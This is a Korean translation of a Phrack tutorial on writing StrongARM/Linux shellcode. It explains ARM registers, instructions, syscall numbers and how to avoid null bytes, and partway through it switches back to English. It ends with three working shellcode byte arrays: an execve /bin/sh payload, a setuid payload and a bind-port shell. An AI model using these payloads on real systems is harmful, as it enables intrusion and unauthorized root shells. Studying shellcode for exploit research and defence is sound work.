==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e
|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ funkysh <funkysh@sm.pl> ]=----------------------=|
ARMS 소개
이문서는 강력한 ARM 리눅스 쉘코드작성을 필요로 하는 정보이다.
ARM Architecture
32bit ARM 프로세서는 RISC 구조로 디자인 되어있다.
이의미는 이것은 CISC 보다 instruction을 줄일 수 있다.
줄어든 instruction 세트는 스피드에 최적화 된다.
예를들어 파이프라이닝이나 hard-wired logic 에서 최적화된다.
또한 instruction 과 주소체제 방식은 모든것을 명확하게 한다.
ARM 은 load/store 구조인데, 이것은 오직 레즈스터에 의해서만 데이터처리가
가능하단 것을 의미한다. 메모리에 직접 데이터를 입출력하는 것은 불가능하다.
메모리 입출력은 load/sotre 의 multiple instructions 과 실행상태의 모든 instruction 로 가능하다.
명맥하게 모든 instruction은 32비트의 길이를 가진다. (4바이트)
ARM 은 16개의 32비트 레지스터로 구성되어 있다.이는 R0 ~ R15(pc) 까지 가지게 된다. 간략하게 말해서 13개의 '일반적인 목적' 을가지는 레지스터 r0 - r12 를 가진다.
( r0 - r7은 저장되지 않는 레지스터이고 이것은 32-bit 의 모든 프로세서안에 물리적 레지스터라는 것을 의미한다.
이것들은 특별하게 사용되지는 않는다. 그리고 그것은 자유롭게 일반적인 목적으로 사용될 수 있는 레지스터이다.
반면에 3개의 특별한 목적의 레지스터가 있다. ( 엄밀히 말하면 15개의 레지스터는 모두 일반적인 레지스터이다)
r13(sp) - stack pointer
r14(lr) - link register
r15(pc/psr) - program counter / status register
레지스터 r13 은 sp 로 알려저 있고 이는 종종 stack pointer 로 사용된다.
그리고 link register 는 함수나 서브루틴 에 사용된다.
link register - r14 는 lr 로 불리며, 이는 리턴되는 주소값을 저장한다.
서브루틴 호출이 수행될때 BL instruction 은 r14에 return 주소를 셋팅 시킨다.
그리고 서브루틴에서 돌아올때 r14는 PC 에 다시 복사를 하여 되돌아온다.
ARM에서의 stack 은 낮은 메모리방향으로 자란다. 그리고 스택포인터는
마지막 아이템에 씌여지게 된다. 이것을 full desecending stack 이라고 부른다.
예를들어 0x41 과 0x42가 스택에 배치되는 것은 아래와 같다.
memory address stack value
+------------+
0xbffffdfc: | 0x00000041 |
+------------+
sp -> 0xbffffdf8: | 0x00000042 |
+------------+
---[ Instruction set
ARM 위에 작성됨에 따라 다른 RISC CPU들은 모두 고정된 길이의 instruction을 가지게 되었따. 이것은 또한 모든 instruction 은 상태 레지스터가 될수 있다는 것이다.
그래서 상위 4비트 (31-28)는 instruction 이 실행되는 동안 모두 특별한 상태로 사용된다.
Instruction 은 4가지의 class 로 나뉘어 질수 있다.
- branch instructions
- load / store instruction
- data-processing instructions,
- exception-generating instructions,
1. Branch instructions
-------------------
분기 instruction 에는 2가지 종류가 있다.
branch: b <24 bit signed offset>
branch with link: bl <24 bit signed offset>
branch with link 실행 하는것은 다음 instruction의 주소와 함께하는 'lr' 셋팅과 함께 출력된다.
2. Data-processing instructions
----------------------------
데이터 처리 instrunction 은 일반적으로 3-주소체제 를 사용한다.
< op code > < 목적지 > < operand 1 > < operand 2 >
< 목적지 > 는 항상 register 이다. < operand 1 > 역시 r0~ r15 레지스터중 한개여야만한다. 그리고 < operand 2 > 레지스터 일수도 있지만, shift 된 레지스터나 즉시 적용되는 상수 값일수도 있다.
< 예시 >
-----------------------------+----------------+--------------------+
addition: add | add r1,r1,#65 | set r1 = r1 + 65 |
substraction: sub | sub r1,r1,#65 | set r1 = r1 - 65 |
logical AND: and | and r0,r1,r2 | set r0 = r1 AND r2 |
logical exclusive OR: eor | eor r0,r1,#65 | set r0 = r1 XOR r2 |
logical OR: orr | orr r0,r1,r2 | set r0 = r1 OR r2 |
move: mov | mov r2,r0 | set r2 = r0 |
3. Load and store instructions
---------------------------
메모리로부터 적재하는 레지스터 ldr rX , <address >
예를들어 ldr, r0, [r1 ] 는 r0 와함께 r1의 1word 의 32 비트가 지정된다.
또한 LDRb intruction 은 합리적으로 8 bit 만을 가져온다.
store register in memory: str rX, <address> (store 32 bits)
strb rX, <address> (store 8 bits)
ARM 은 multiple 레지스터의 sotreing / loading 역시 지원한다.
이것은 최적화 관점에서 봤을때 매우 흥미로운 특징이다.
stm (store multiple registers in memory) 부터 살펴보면 아래와같다.
stm < base register > <stack type>(!), { register list }
< base register > 은 어떠한 레지스터든 상관없다. 그러나 전형적으로 stack pointer 가 사용된다.
예를들어 : stmfd sp!, {r0-r3, r6} 은 r0, r1, r2 ,r3 와 r6 에 stack의 값이 저장된다. ( full decending mode dptjsms stm 이후에 fd가 붙는다.)
stack pointer는 r0 레지스터가 저장된 곳을 가르키게 된다. ( ! 때문 )
비슷하게 load of multiple register들도 같은 방식을 사용한다. : ldm
4. Exception-generating instructions
---------------------------------
Software interrupt : swi < number > 는 system call로써 사용된다.
여기에 언급된 레지스터들은 완벽하지 않지만 다른 문서를 통해 더 많은것을 알아보길 바란다.
---[ Syscalls
강력한 ARM 프로세서와 함꼐하는 리눅스에서는 syscall 기반은 0x900000로 옴겨졌다.
이것은 쉘코드를 작성하는데 좋은 움직임은 아니다. 그 이후로 우리는 instruction들의 opcode의 zero byte를 조절해야 한다.
예를들어 exit syscall 의 경우
swi 0x900001 [ 0xef900001 ]
가 되어야한다 ( 무슨말이지?)
여기에 쉘코드를 작성할때 유용한 시스템콜 리스트가 있다. ( syscall의 return 값을 보통 r0에 저장된다)
execve:
-------
r0 = const char *filename
r1 = char *const argv[]
r2 = char *const envp[]
call number = 0x90000b
setuid:
-------
r0 = uid_t uid
call number = 0x900017
dup2:
-----
r0 = int oldfd
r1 = int newfd
call number = 0x90003f
socket:
-------
r0 = 1 (SYS_SOCKET)
r1 = ptr to int domain, int type, int protocol
call number = 0x900066 (socketcall)
bind:
-----
r0 = 2 (SYS_BIND)
r1 = ptr to int sockfd, struct sockaddr *my_addr,
socklen_t addrlen
call number = 0x900066 (socketcall)
listen:
-------
r0 = 4 (SYS_LISTEN)
r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)
accept:
-------
r0 = 5 (SYS_ACCEPT)
r1 = ptr int s, struct sockaddr *addr,
socklen_t *addrlen
call number = 0x900066 (socketcall)
---[ Common operations
Loading high values
-------------------
모든 상태와 레지스터 숫자가 32bit word 를 나타내고, op코드역시 32bit 이기때문에, 하나의 instruction 안에 레지스터 속의 높은 값은 즉시 로딩 된다.
이러한 문제는 'shifting' 이라불리는 특징에 의해 해결 될 수 있게된다.
ARM 어셈블리는 6개의 연상되는 shift type이 존재한다.
lsl - logical shift left
asl - arithmetic shift left
lsr - logical shift right
asr - arithmetic shift right
ror - rotate right
rrx - rotate right with extend
sfifter 는 data 처리 instruction과 함께 처리될수 있다. 또한 ldl 과 str instruction과도 함께 사용된다.
예를들어 r0 와 0x900000 를 load 하기 위해 우리는 아래의 명령어를 수행할 수 있다.
mov r0, #144 ; 0x90
mov r0, r0, lsl #16 ; 0x90 << 16 = 0x900000
Position independence
---------------------
자신의 코드의 위치를 얻는것은 매우 쉽다. PC 는 일반적인 목적의 레지스터이다.
그리고 심지어 어떠한 순간에서든 32bit 값의 메모리 어디든지 jump 를 할수 있다
예를 들어 아래와 같다. 실행 후 :
sub r0, pc, #4
다음 instruction 은 r0 에 저장된다.
다른 방법으로는 link 와 함께하는 branch instruction 에서 사용될 수 있다.
bl sss
swi 0x900001
sss: mov r0, lr
지금 r0 의 주소값은 "swi 0x900001" 을 가르키고 있다.
Loops
-----
3번을 반복하는 반복문에 대해서 이야기해보자.
전형적인 반복문은 아래와같이 구조화 될수 있다.
mov r0, #3 <- loop counter
loop: ...
sub r0, r0, #1 <- fd = fd -1
cmp r0, #0 <- check if r0 == 0 already
bne loop <- goto loop if no (if Z flag != 1)
이러한 반복은 subs에 의해 최적화 될수 있고 이러한 반복은 Z flag를 셋팅하여
우리가 r0 에 도달했을때 cmp 구문을 종료 시키는데 쓰인다.
mov r0, #3
loop: ...
subs r0, r0, #1
bne loop
Nop instruction
---------------
ARM 에서는 "mov r0,r0 " 는 nop 으로 사용된다. 그러나 이것은 null 도 같이 따르게 된다. 그래서 이러한 "중간 생략" instruction 은 취약점을 보여주는 POC 작성때만 써야한다.
mov r1, r1 [ 0xe1a01001 ]
---[ Null avoiding
대부분의 r0 레지스터를 사용하는 instruction 은 '0' 이다.
이는 보통 다른 instruction으로 대체되거나 자체 수정된다.
예시)
e3a00041 mov r0, #65 can be raplaced with:
e0411001 sub r1, r1, r1
e2812041 add r2, r1, #65
e1a00112 mov r0, r2, lsl r1 (r0 = r2 << 0)
아래의 방법으로 syscall 은 patch 될수 있다.
e28f1004 add r1, pc, #4 <- get address of swi
e0422002 sub r2, r2, r2
e5c12001 strb r2, [r1, #1] <- patch 0xff with 0x00
ef90ff0b swi 0x90ff0b <- crippled syscall
Store/Load multiple also generates 'zero', even if r0 register is not
used:
e92d001e stmfd sp!, {r1, r2, r3, r4}
In example codes presented in next section I used storing with link
register:
e04ee00e sub lr, lr, lr
e92d401e stmfd sp!, {r1, r2, r3, r4, lr}
---[ Example codes
/*
* 47 byte StrongARM/Linux execve() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x1c\x30\x8f\xe2" /* add r3, pc, #28 (0x1c) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x07\x20\xc3\xe5" /* strb r2, [r3, #7 */
"\x04\x30\x8f\xe2" /* add r3, pc, #4 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x0b\x0b\x90\xef" /* swi 0x90ff0b */
"/bin/sh";
/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x04\x10\x8f\xe2" /* add r1, pc, #4 */
"\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */
"\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */
"\x17\x0b\x90\xef"; /* swi 0x90ff17 */
/*
* 203 byte StrongARM/Linux bind() portshell shellcode
* funkysh
*/
char shellcode[]= "\x20\x60\x8f\xe2" /* add r6, pc, #32 */
"\x07\x70\x47\xe0" /* sub r7, r7, r7 */
"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
"\x01\x30\x87\xe2" /* add r3, r7, #1 */
"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
"\x01\x20\x83\xe2" /* add r2, r3, #1 */
"\x07\x40\xa0\xe1" /* mov r4, r7 */
"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
"\x0d\x10\xa0\xe1" /* mov r1, sp */
"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
"\x14\x20\xa0\xe3" /* mov r2, #20 */
"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
"\x10\x30\xa0\xe3" /* mov r3, #16 */
"\x0d\x20\xa0\xe1" /* mov r2, sp */
"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
"\x02\x20\xa0\xe3" /* mov r2, #2 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x0d\x10\xa0\xe1" /* mov r1, sp */
"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
"\x01\x20\x82\xe2" /* add r2, r2, #1 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
"\x02\x10\xa0\xe3" /* mov r1, #2 */
"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */
"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
"\x01\x10\x51\xe2" /* subs r1, r1, #1 */
"\xfb\xff\xff\x5a" /* bpl <dup2> */
"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
"\x14\x30\x8f\xe2" /* add r3, pc, #20 */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
"/bin/sh";